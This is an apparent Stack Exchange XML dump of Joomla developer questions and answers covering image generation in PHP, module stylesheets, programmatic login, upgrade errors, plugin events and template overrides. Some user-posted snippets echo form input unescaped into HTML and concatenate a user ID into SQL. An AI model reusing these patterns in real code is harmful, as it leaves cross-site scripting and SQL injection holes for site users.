block&#xA;            $y = imagesy($im) - $height - 60;&#xA;             $i = 1;&#xA;        // loop through the array and write the text    &#xA;        foreach ($user as $value){&#xA;            // center the text in our image - returns the x value&#xA;            $x = center_text($value['name'], $value['font-size']);  &#xA;            imagettftext($im, $value['font-size'], 0, $x, $y+$i, $color[$value['color']], $fontname,$value['name']);&#xA;            // add 32px to the line height for the next text block&#xA;            $i = $i+32; &#xA;            &#xA;        }&#xA;            // create the image&#xA;            imagejpeg($im, $file, $quality);&#xA;            &#xA;    //}&#xA;                        &#xA;        return $file;   &#xA;}&#xA;&#xA;function center_text($string, $font_size){&#xA;&#xA;            global $fontname;&#xA;&#xA;            $image_width = 600;&#xA;            $dimensions = imagettfbbox($font_size, 0, $fontname, $string);&#xA;            &#xA;            return ceil(($image_width - $dimensions[4]) / 2);               &#xA;}&#xA;&#xA;&#xA;&#xA;    $user = array(&#xA;    &#xA;        array(&#xA;            'name'=&amp;gt; 'Ashley Ford', &#xA;            'font-size'=&amp;gt;'37',&#xA;            'color'=&amp;gt;'grey')&#xA;            &#xA;    );&#xA;    &#xA;    &#xA;    if(isset($_POST['submit'])){&#xA;    &#xA;    $error = array();&#xA;    &#xA;        if(strlen($_POST['name'])==0){&#xA;            $error[] = 'Please enter a name';&#xA;        }&#xA;        &#xA;&#xA;        &#xA;    if(count($error)==0){&#xA;        &#xA;    $user = array(&#xA;    &#xA;        array(&#xA;            'name'=&amp;gt; $_POST['name'], &#xA;            'font-size'=&amp;gt;'100',&#xA;            'color'=&amp;gt;'grey')&#xA;            &#xA;    );      &#xA;        &#xA;    }&#xA;        &#xA;    }&#xA;&#xA;// run the script to create the image&#xA;$filename = create_image($user);&#xA;&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;!DOCTYPE html PUBLIC &amp;quot;-//W3C//DTD XHTML 1.0 Transitional//EN&amp;quot; &amp;quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&amp;quot;&amp;gt;&#xA;&amp;lt;html xmlns=&amp;quot;http://www.w3.org/1999/xhtml&amp;quot;&amp;gt;&#xA;&amp;lt;head&amp;gt;&#xA;&amp;lt;meta http-equiv=&amp;quot;Content-Type&amp;quot; content=&amp;quot;text/html; charset=UTF-8&amp;quot; /&amp;gt;&#xA;&amp;lt;title&amp;gt;BećArt.ba&amp;lt;/title&amp;gt;&#xA;&amp;lt;style&amp;gt;&#xA;input{&#xA;    border:1px solid #ccc;&#xA;    padding:8px;&#xA;    font-size:14px;&#xA;    width:150px;&#xA;    }&#xA;    &#xA;.submit{&#xA;    width:60px;&#xA;    background-color:#FF6;&#xA;    padding:3px;&#xA;    border:1px solid #FC0;&#xA;    margin-top:20px;}   &#xA;&#xA;&amp;lt;/style&amp;gt;&#xA;&amp;lt;/head&amp;gt;&#xA;&amp;lt;body&amp;gt;&#xA;&amp;lt;img src=&amp;quot;&amp;lt;?=$filename;?&amp;gt;?id=&amp;lt;?=rand(0,1292938);?&amp;gt;&amp;quot; width=&amp;quot;600&amp;quot; height=&amp;quot;170&amp;quot;/&amp;gt;&amp;lt;br/&amp;gt;&amp;lt;br/&amp;gt;&#xA;&amp;lt;ul&amp;gt;&#xA;&amp;lt;?php if(isset($error)){&#xA;    &#xA;    foreach($error as $errors){&#xA;        &#xA;        echo '&amp;lt;li&amp;gt;'.$errors.'&amp;lt;/li&amp;gt;';&#xA;            &#xA;    }&#xA;    &#xA;    &#xA;}?&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&#xA;&amp;lt;p&amp;gt;Odaberite font, upišite vaše ime i kliknite na dugme &amp;quot;Kreiraj&amp;quot;.&amp;lt;/p&amp;gt;&#xA;&#xA;&amp;lt;div class=&amp;quot;dynamic-form&amp;quot;&amp;gt;&#xA;&amp;lt;form action=&amp;quot;&amp;quot; method=&amp;quot;post&amp;quot;&amp;gt;&#xA;&#xA;  &amp;lt;label for=&amp;quot;fonts&amp;quot;&amp;gt;Odaberi font:&amp;lt;/label&amp;gt;&#xA;  &amp;lt;select name=&amp;quot;fonts&amp;quot; id=&amp;quot;fonts&amp;quot;&amp;gt;&#xA;  &amp;lt;option value=&amp;quot;arial.ttf&amp;quot;&amp;gt;Štampana 1&amp;lt;/option&amp;gt;&#xA;  &amp;lt;option value=&amp;quot;timesnewroman.ttf&amp;quot;&amp;gt;Štampana 2&amp;lt;/option&amp;gt;&#xA;  &amp;lt;option value=&amp;quot;Capriola-Regular.ttf&amp;quot;&amp;gt;Štampana 3&amp;lt;/option&amp;gt;&#xA;  &amp;lt;option value=&amp;quot;MonotypeCorsiva.ttf&amp;quot;&amp;gt;Štampana ukrasna&amp;lt;/option&amp;gt;&#xA;  &amp;lt;/select&amp;gt;&#xA;  &amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&#xA;  &#xA;  &#xA;&amp;lt;label&amp;gt;Upišite ime&amp;lt;/label&amp;gt;&#xA;&amp;lt;input type=&amp;quot;text&amp;quot; value=&amp;quot;&amp;lt;?php if(isset($_POST['name'])){echo $_POST['name'];}?&amp;gt;&amp;quot; name=&amp;quot;name&amp;quot; maxlength=&amp;quot;15&amp;quot; placeholder=&amp;quot;Name&amp;quot;&amp;gt;&amp;lt;br/&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&#xA;&amp;lt;input name=&amp;quot;submit&amp;quot; type=&amp;quot;submit&amp;quot; class=&amp;quot;btn btn-primary&amp;quot; value=&amp;quot;Kreiraj&amp;quot; /&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/body&amp;gt;&#xA;&amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11762" LastActivityDate="2024-03-07T23:57:56.747" Title="Include php file in Joomla 4 article" Tags="|php|joomla-4.x|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33628" PostTypeId="2" ParentId="30339" CreationDate="2024-01-31T00:06:32.390" Score="1" Body="&lt;p&gt;Building on @Sharky's answer, the correct way to get the model in Joomla 4 &amp;amp; 5 is:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\Factory;&#xA;&#xA;$app = Factory::getApplication();&#xA;$factory = $app-&amp;gt;bootComponent('com_content')-&amp;gt;getMVCFactory();&#xA;$model = $factory-&amp;gt;createModel('Article');&#xA;$article = $model-&amp;gt;getItem($id);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="17604" LastActivityDate="2024-01-31T00:06:32.390" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33629" PostTypeId="2" ParentId="33608" CreationDate="2024-01-31T13:35:40.320" Score="1" Body="&lt;p&gt;According to information from volunteers over at the Joomla Mattermost community, the most up-to-date information is the one found in code comments. I received &lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/4.4-dev/libraries/src/MVC/Model/LegacyModelLoaderTrait.php#L29-L30&quot; rel=&quot;nofollow noreferrer&quot;&gt;this link to Joomla's code&lt;/a&gt; that currently says that loading such Legacy structure &lt;code&gt;will be removed in 6.0 without replacement&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="405" LastActivityDate="2024-01-31T13:35:40.320" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33630" PostTypeId="1" CreationDate="2024-02-01T08:24:47.483" Score="0" ViewCount="39" Body="&lt;p&gt;I have made a couple of modules that loads their own stylesheet. Why I do that is because then I can optimize my website furhter and only load the stylesheet data when the module is actually on the page. But the problem is is that when I load multiple same modules but with different data it will load the stylesheet twice. Is there anything I can do to prevent that?&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;// Get the document object&#xA;$doc = JFactory::getDocument();&#xA;&#xA;// Get the module object&#xA;$module1 = JModuleHelper::getModule('mod_commercial');&#xA;&#xA;// Extract the module base path&#xA;$moduleBase = JUri::base() . 'modules/' . $module1-&amp;gt;module . '/';&#xA;&#xA;// Define the path of your CSS file dynamically&#xA;$cssFile = $moduleBase . 'css/style.css';&#xA;&#xA;$doc-&amp;gt;addStyleSheet($cssFile);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This is the code I use in my main module file.&lt;/p&gt;&#xA;" OwnerUserId="5642" LastActivityDate="2024-02-01T08:24:47.483" Title="Prevent multiple times loading stylesheet module" Tags="|module|custom-module|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="33631" PostTypeId="2" ParentId="28500" CreationDate="2024-02-04T02:13:21.567" Score="0" Body="&lt;p&gt;I needed to do this in Joomla 5, and there is no specific class marking that block, so hiding it through CSS is tricky either because the number of block is dynamic. I decided use JavaScript approach by doing a template override for com_users &amp;gt; profile &amp;gt; edit.php and adding this line:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;&#xA;  document.addEventListener('DOMContentLoaded', function() {&#xA;    var fieldsets = document.querySelectorAll('#member-profile fieldset');&#xA;&#xA;    // Checking the total number of fieldsets&#xA;    if (fieldsets.length &amp;gt; 2) {&#xA;      // If there are more than 2 fieldsets, hide the 2nd&#xA;      fieldsets[1].style.display = 'none';&#xA;    }&#xA;  });&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Alternatively, you might add this inline CSS, showing it only when the page is accessed by an admin:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;fieldset {&#xA;  &amp;amp;:nth-child(2) {&#xA;    display: none!important;&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2295" LastActivityDate="2024-02-04T02:13:21.567" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33632" PostTypeId="1" CreationDate="2024-02-04T02:13:40.773" Score="1" ViewCount="35" Body="&lt;p&gt;I'm trying to create a script to login in Joomla 4 programmatically and without the users' password.&lt;/p&gt;&#xA;&lt;p&gt;The users' authentication is done via an external site and if successful the user will be redirected on my Joomla site and will be logged in (without using his Joomla password).&lt;/p&gt;&#xA;&lt;p&gt;Therefore I'm using this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\Factory;&#xA;use Joomla\CMS\Plugin\PluginHelper;&#xA;use Joomla\Event\Dispatcher as EventDispatcher;&#xA;&#xA;$db = JFactory::getDbo();&#xA;&#xA;$q = &amp;quot;SELECT * FROM `#__users` WHERE id = &amp;quot;.$userid;&#xA;$user = $db-&amp;gt;setQuery($q)-&amp;gt;loadAssoc();&#xA;               &#xA;$dispatcher = new EventDispatcher();&#xA;&#xA;// Initiate log in&#xA;$options = array('action' =&amp;gt; 'core.login.site', 'remember' =&amp;gt; false);&#xA;$results = $dispatcher-&amp;gt;triggerEvent('onUserLogin', array($user, $options));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Sadly it doesn't work. I don't get any errors but there is no login.&lt;/p&gt;&#xA;&lt;p&gt;What is the actual event to execute a users' login?&lt;/p&gt;&#xA;" OwnerUserId="8575" LastEditorUserId="8575" LastEditDate="2024-02-04T15:29:00.163" LastActivityDate="2024-02-04T15:29:00.163" Title="Login programmtacially in Joomla 4 (without user password)" Tags="|joomla-4.x|login|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33633" PostTypeId="1" CreationDate="2024-02-04T04:54:36.400" Score="0" ViewCount="22" Body="&lt;p&gt;I have PDF documents created using FPDF and I wish to convert to jpg for displaying purposes.  I believe I have installed Imagick correctly and set the php.ini file to see it but when I try to suck it into my code I get the &lt;code&gt;Class &amp;quot;Imagick&amp;quot; not found &lt;/code&gt; error message.&#xA;Does this mean I haven't installed it correctly or is my code below not right?&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    if (\file_exists($cert)) {&#xA;        &#xA;        $im = new \Imagick($cert.'[0]');&#xA;        $im-&amp;gt;setImageFormat('jpg');&#xA;        header('Content-Type: image/jpg');&#xA;        echo $im;&#xA;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;As always any guidance appreciated.  I'm using php8.2 and I'm using WAMP on a windows machine.&lt;/p&gt;&#xA;" OwnerUserId="1985" LastActivityDate="2024-02-04T04:54:36.400" Title="Trying to convert PDF to JPG using Imagick" Tags="|joomla-5.x|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="33636" PostTypeId="1" CreationDate="2024-02-05T22:02:10.850" Score="0" ViewCount="12" Body="&lt;p&gt;Hi I'm a rank amateur with regard to site development experience,&#xA;Last time I put one together was at least a decade ago, much has changed! Decided on Solidres  for numerous reasons, not least they were happy to work with me on our complicated pricing system. We've over 20yrs experience providing tours so around a year ago figured I'd thrown every possible curve ball at the site, all handled admirably, let's publish. A few months ago however, unable to login? Server has an auto-login feature, able to access the backend via that;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/hOu8N.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/hOu8N.png&quot; alt=&quot;Solidres control panel after auto-login&quot; /&gt;&lt;/a&gt; except as soon as I attempt to access &lt;em&gt;any&lt;/em&gt; menu item (menus themselves will expand no problem) am returned to the login page, which is displaying erroneously, URL in browser address bar (tried alternative browsers, devices, no change) displays correct URL according to whichever menu item I attempted to access, but screen displays login. &lt;a href=&quot;https://i.stack.imgur.com/qcKJY.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/qcKJY.png&quot; alt=&quot;EG selected Global Configuration, as URL displays&quot; /&gt;&lt;/a&gt;&#xA;Also, I'm able to return to the Solidres control panel simply by hitting the back  button. It's been suggested maybe a redirect issue? As I'm unable to select any other pages without being 'logged out'&#xA;Last fully functional backup dated last October, everything since then has the same issue, so to save losing 4 months' worth of bookings etc, any advice will be greatly appreciated&lt;/p&gt;&#xA;&lt;p&gt;Thanks in advance&lt;/p&gt;&#xA;&lt;p&gt;Miles&lt;/p&gt;&#xA;" OwnerUserId="17611" LastActivityDate="2024-02-05T22:02:10.850" Title="Solidres Joomla 3 Logged in, select any Joomla menu item, erroneously returned to login page" Tags="|administrator|menu-item|login|redirect|joomla-3.10|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="33638" PostTypeId="1" CreationDate="2024-02-06T13:36:53.387" Score="0" ViewCount="31" Body="&lt;p&gt;I was upgrading my site today from Joomla 4.3.4 to 4.4.2. I'm using PHP 8.1.27&lt;/p&gt;&#xA;&lt;p&gt;I downloaded the official zip upgrade package from here &lt;a href=&quot;https://downloads.joomla.org/cms/joomla4/4-4-2&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://downloads.joomla.org/cms/joomla4/4-4-2&lt;/a&gt; and uploaded through the admin area.&lt;/p&gt;&#xA;&lt;p&gt;When the upgrade completed I was presented with the following error.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Kj4YV.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Kj4YV.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;My log files how the following;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;2024-02-06T13:25:10+00:00   INFO 143.117.194.243    update  Starting installation of new version.&#xA;2024-02-06T13:25:13+00:00   INFO 143.117.194.243    update  Finalising installation.&#xA;2024-02-06T13:25:13+00:00   ERROR 143.117.194.243   update  An error has occurred while running &amp;quot;JoomlaInstallerScript::preflight&amp;quot;. Code: 0. Message: Script::preflight finished with &amp;quot;false&amp;quot; result..&#xA;2024-02-06T13:25:13+00:00   WARNING 143.117.194.243 jerror  Extension Install: Custom install routine failure.&#xA;2024-02-06T13:25:13+00:00   INFO 143.117.194.243    update  Cleaning up after installation.&#xA;2024-02-06T13:25:13+00:00   INFO 143.117.194.243    update  Update to version 4.4.2 is complete.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I returned to the dashboard, and my website appears to be working as expected as it's on v4.4.2&lt;/p&gt;&#xA;&lt;p&gt;I've tried to re-install the package a second time and same error.&lt;/p&gt;&#xA;&lt;p&gt;Any ideas what's goin on?&lt;/p&gt;&#xA;" OwnerUserId="1538" LastActivityDate="2024-02-06T13:36:53.387" Title="Upgrade Error 'preflight finished with &quot;false&quot; result'" Tags="|joomla-4.x|upgrade|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33639" PostTypeId="1" AcceptedAnswerId="33640" CreationDate="2024-02-06T18:26:21.203" Score="0" ViewCount="27" Body="&lt;p&gt;Im trying to use onclick to send data from a simple form via a url to fill in a signup form.&lt;/p&gt;&#xA;&lt;p&gt;onclick=&amp;quot;window.open('http://url.com/signup/{name:value}/{email:value}');&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;It does not include the data in the url but send it as is. Is there a step im missing to get the data from the form&lt;/p&gt;&#xA;" OwnerUserId="17613" LastActivityDate="2024-02-06T21:39:02.147" Title="RSform Use button to send form fields to url" Tags="|rsform|joomla-5.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33640" PostTypeId="2" ParentId="33639" CreationDate="2024-02-06T21:39:02.147" Score="0" Body="&lt;p&gt;The replacement of tags, in your case {name:value} &amp;amp; {email:value}, does not occur until after the Form has been submitted.&lt;/p&gt;&#xA;&lt;p&gt;At the point of clicking on a Field in the Form the tags are just a string characters as you see them and that is what gets passed to the new window.&lt;/p&gt;&#xA;&lt;p&gt;If you want the values in the fields to be passed at the click of a field/button then you will need include some Javascript in the Forms Properties tab that extracts the values from the fields and opens the new sign up page. Your onclick would then look something like&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;onclick=&amp;quot;mysignup()&amp;quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And in your Javascript you would have something like &lt;em&gt;(provided as is, not tested)&lt;/em&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;function mysignup(){&#xA;var name = document.getElementById('name_field').value;&#xA;var email = document.getElementById('email_field').value;&#xA;&#xA;window.open('http://url.com/signup/' + name + '/' + email);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;If the external sign up page doesn't require a users intervention then you may be able to do the sign up as part of the PHP post submission scripts if the external site provides the capability. There are some examples of this on the RS Form forum.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2024-02-06T21:39:02.147" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="33641" PostTypeId="1" CreationDate="2024-02-07T10:35:48.140" Score="0" ViewCount="35" Body="&lt;p&gt;The problem is this. Created a menu item - list of tags. I will give an example for clarity. site/tags-menu-item, if you add for this menu item, for example, site/tags-menu-item/55/, a duplicate will be displayed, but a 404 error should be displayed.&#xA;You can check it on this site: &lt;a href=&quot;https://recepty.mobi/paskhalnye-retsepty/kulichi&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://recepty.mobi/paskhalnye-retsepty/kulichi&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Can you tell me how to solve the problem? Joomla 5&lt;/p&gt;&#xA;" OwnerUserId="17460" LastActivityDate="2024-02-25T09:04:13.903" Title="Duplicate issue when using tags component as a menu item" Tags="|sef|joomla-5.x|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33642" PostTypeId="1" CreationDate="2024-02-07T10:36:05.657" Score="0" ViewCount="31" Body="&lt;p&gt;I'm getting a weird error; here is the data below.&lt;/p&gt;&#xA;&lt;p&gt;I'll first start by telling you what I did and why.&lt;/p&gt;&#xA;&lt;p&gt;I have a client with a hacked Joomla site. For safety's sake, I installed a new Joomla and all of the components and the template.&lt;/p&gt;&#xA;&lt;p&gt;I then migrated the database over. Initially, I had issues with the PHP version being 7.4 and showing the extensions table doesn't exist. So, I migrated to a higher version of Joomla.&lt;/p&gt;&#xA;&lt;p&gt;I now see this error.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Table '**********_dez*nqx_pyn5RTX*peu.cw1ji_template_styles' doesn't exist&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;At the bottom of the page I see:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Warning: session_write_close(): Failed to write session data using user defined save handler. (session.save_path: /opt/alt/php82/var/lib/php/session, handler: Joomla\Session\Handler\DatabaseHandler::write) in /home/cripplecreeksqua/public_html/dev/libraries/vendor/joomla/session/src/Storage/NativeStorage.php on line 114&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The front end says:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;_menu' doesn't exist&#xA;&#xA;&#xA;&#xA; mysqli_sql_exception&#xA;&#xA;Table '********.cw1ji_session' doesn't exist&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I have tried repairing the database.&lt;/p&gt;&#xA;" OwnerUserId="7164" LastActivityDate="2024-02-07T10:36:05.657" Title="_template_styles' doesn't exist" Tags="|mysql|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="33643" PostTypeId="1" CreationDate="2024-02-07T10:51:28.873" Score="0" ViewCount="35" Body="&lt;p&gt;I created a plugin to send published articles data to external service&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;class plgSystemVacancypub extends JPlugin&#xA;{&#xA;    public function onContentAfterSave($context, $article, $isNew)&#xA;    {&#xA;      // Get custom fields values&#xA;      $customFieldnames = FieldsHelper::getFields('com_content.article', $article-&amp;gt;get('id'), true);&#xA;      $customFieldIds   = array_map(create_function('$o', 'return $o-&amp;gt;id;'), $customFieldnames);&#xA;      $fmodel           = JModelLegacy::getInstance('Field', 'FieldsModel', array('ignore_request' =&amp;gt; true));&#xA;      $customFieldValues= $fmodel-&amp;gt;getFieldValues($customFieldIds , $article-&amp;gt;get('id')); &#xA;       &#xA;&#xA;      // Send to external function&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;But in my article I have some custom fields. First saving the article the &lt;code&gt;$customFieldValues&lt;/code&gt; variable is empty. And when I click to Save article once again, custom fields are exists.&#xA;As I know the custom fields saves after article saving. How can I replace the subsequence of executing &amp;quot;save the custom fields&amp;quot; and my plugin? I want to see custom fields values on first publishing of article.&lt;/p&gt;&#xA;" OwnerUserId="8039" LastActivityDate="2024-03-09T19:04:10.480" Title="onContentAfterSave doesn't show custom fields" Tags="|joomla-3.x|plugin|custom-field|system-plugin|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="33644" PostTypeId="1" CreationDate="2024-02-07T20:27:23.960" Score="0" ViewCount="16" Body="&lt;p&gt;I'm attempting to upgade my  joomla instillation to 4, but I have been having an error&lt;/p&gt;&#xA;&lt;p&gt;An error has occurred.&#xA;0 Class &amp;quot;JController&amp;quot; not found&lt;/p&gt;&#xA;&lt;p&gt;I don't know what to do?&#xA;Any help&lt;/p&gt;&#xA;" OwnerUserId="17615" LastActivityDate="2024-02-07T20:27:23.960" Title="upgrading to joomla 4 error jcontrollwer not found" Tags="|joomla-4.x|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="33645" PostTypeId="2" ParentId="32874" CreationDate="2024-02-07T20:49:47.327" Score="0" Body="&lt;p&gt;Since I want to do specific pages to have unique template color and feel, I just copied the default template, renamed it, then edit the css files as required. Then I specify all pages I want it to show on, but not the rest.&lt;/p&gt;&#xA;" OwnerUserId="17616" LastActivityDate="2024-02-07T20:49:47.327" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33646" PostTypeId="1" CreationDate="2024-02-08T13:07:21.050" Score="0" ViewCount="13" Body="&lt;p&gt;I want to create a menu item for a tag that shows the articles as in category blog layout.&#xA;After, I would like to insert tags in the article info block.&#xA;Is it possible in joomla 4 and 5?&#xA;If yes, how can I do it?&lt;/p&gt;&#xA;" OwnerUserId="17617" LastActivityDate="2024-03-16T20:02:10.260" Title="Tag page with blog layout" Tags="|joomla-4.x|articles|overrides|tags|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33647" PostTypeId="2" ParentId="33643" CreationDate="2024-02-08T16:24:13.413" Score="0" Body="&lt;p&gt;Well, I didn't found the solution to my problem.&#xA;But I found another way - correcting the fields plugin (&lt;code&gt;plugins/fields/fields.php&lt;/code&gt;), which saves custom fields after article saved.&#xA;Now I have access to values of all custom fields of first time saving article in &lt;code&gt;onContentAfterSave&lt;/code&gt; function.&lt;/p&gt;&#xA;" OwnerUserId="8039" LastActivityDate="2024-02-08T16:24:13.413" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33648" PostTypeId="2" ParentId="33643" CreationDate="2024-02-08T18:24:54.327" Score="0" Body="&lt;p&gt;That event has an undocumented aditional argument &lt;code&gt;$data&lt;/code&gt; which holds the saved data!&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public function onContentAfterSave($context, $item, $isNew, $data = []){&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Just in case, set its default to an empty array.&lt;/p&gt;&#xA;&lt;p&gt;If you check your custom field in the &lt;code&gt;$data&lt;/code&gt; it will be there after the event is fired.&lt;/p&gt;&#xA;&lt;p&gt;For example, for a standard field like the tags, just get them like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$thetagssaved = $data['tags'];&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;For a custom field named &amp;quot;myfield&amp;quot;, get it like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$myfieldvalue = $data['com_fields']['myfield'];&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;If you have doubts on what you need to get, output the &lt;code&gt;$data&lt;/code&gt; into your log:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;error_log(print_r($data, true));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="38" LastActivityDate="2024-02-08T18:24:54.327" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33649" PostTypeId="1" AcceptedAnswerId="33651" CreationDate="2024-02-08T18:47:29.367" Score="0" ViewCount="23" Body="&lt;p&gt;Created a new website using Joomla v4 and its Cassiopeia template (latest version).&lt;/p&gt;&#xA;&lt;p&gt;The Articles displayed on the Category pages (in Blog mode) now show the image first and then the title. I'd like to have that the other way around: first the title and then the image -- just like it is when displaying the full Article (where the image is placed after the title, date/by-line and Tags).&lt;/p&gt;&#xA;&lt;p&gt;I assume I have to override the PHP file that displays the &amp;quot;Article intros for a Category in Blog mode&amp;quot;, but which one is that? (assuming the rest is a simple matter of rearranging the items in that PHP file)&lt;/p&gt;&#xA;&lt;p&gt;E.g. see here for the current layout of Categories:&#xA;&lt;a href=&quot;https://offerman.industries/projects&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://offerman.industries/projects&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="17619" LastActivityDate="2024-02-08T23:29:59.947" Title="Move title before image in Category display (in Blog mode) of Articles" Tags="|overrides|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33651" PostTypeId="2" ParentId="33649" CreationDate="2024-02-08T23:29:59.947" Score="0" Body="&lt;p&gt;You can go into the Template and create an override for component com_content and that will create the files for you to then edit, in your case you are looking for &lt;code&gt;blog_item.php&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/iLDFC.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/iLDFC.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2024-02-08T23:29:59.947" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="33652" PostTypeId="1" CreationDate="2024-02-09T15:50:36.823" Score="0" ViewCount="7" Body="&lt;p&gt;For a J5 site, using Cassiopeia, I have created (on a test site) a View using SQL in phpMyAdmin (which uses mySQL) that selects * from the content table linked by content.id and fields_values.item_id with this code:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;CREATE OR REPLACE VIEW qpnpe_events_content_t1 AS&#xA;SELECT&#xA;a.*,&#xA;b.field_id,&#xA;b.value&#xA;FROM qpnpe_content AS a&#xA;INNER JOIN qpnpe_fields_values AS b ON&#xA;CAST(a.id AS CHAR(5) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci) = (b.item_id COLLATE utf8mb4_unicode_ci)&#xA;WHERE b.field_id=1 and b.value&amp;gt;now()&#xA;ORDER BY b.value ASC;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;(The join also took a lot of working out with the help of my hosting service provider, Krystal, as content.id is an INT and fields_values.item_id is a CHAR).&lt;/p&gt;&#xA;&lt;p&gt;The ultimate aim is to display the events based on the calendar picker date (i.e. the date of the event) in a blog. In my test site I have just four articles, all in the 'event' category, to which the calendar picker field is assigned and, of those four, only three have a date in the future. The resulting View correctly shows these three articles. The view also has an extra field added, which is the value of the calendar picker, e.g. 2028-02-06 19:00. Being a View, it will update dynamically when new articles are 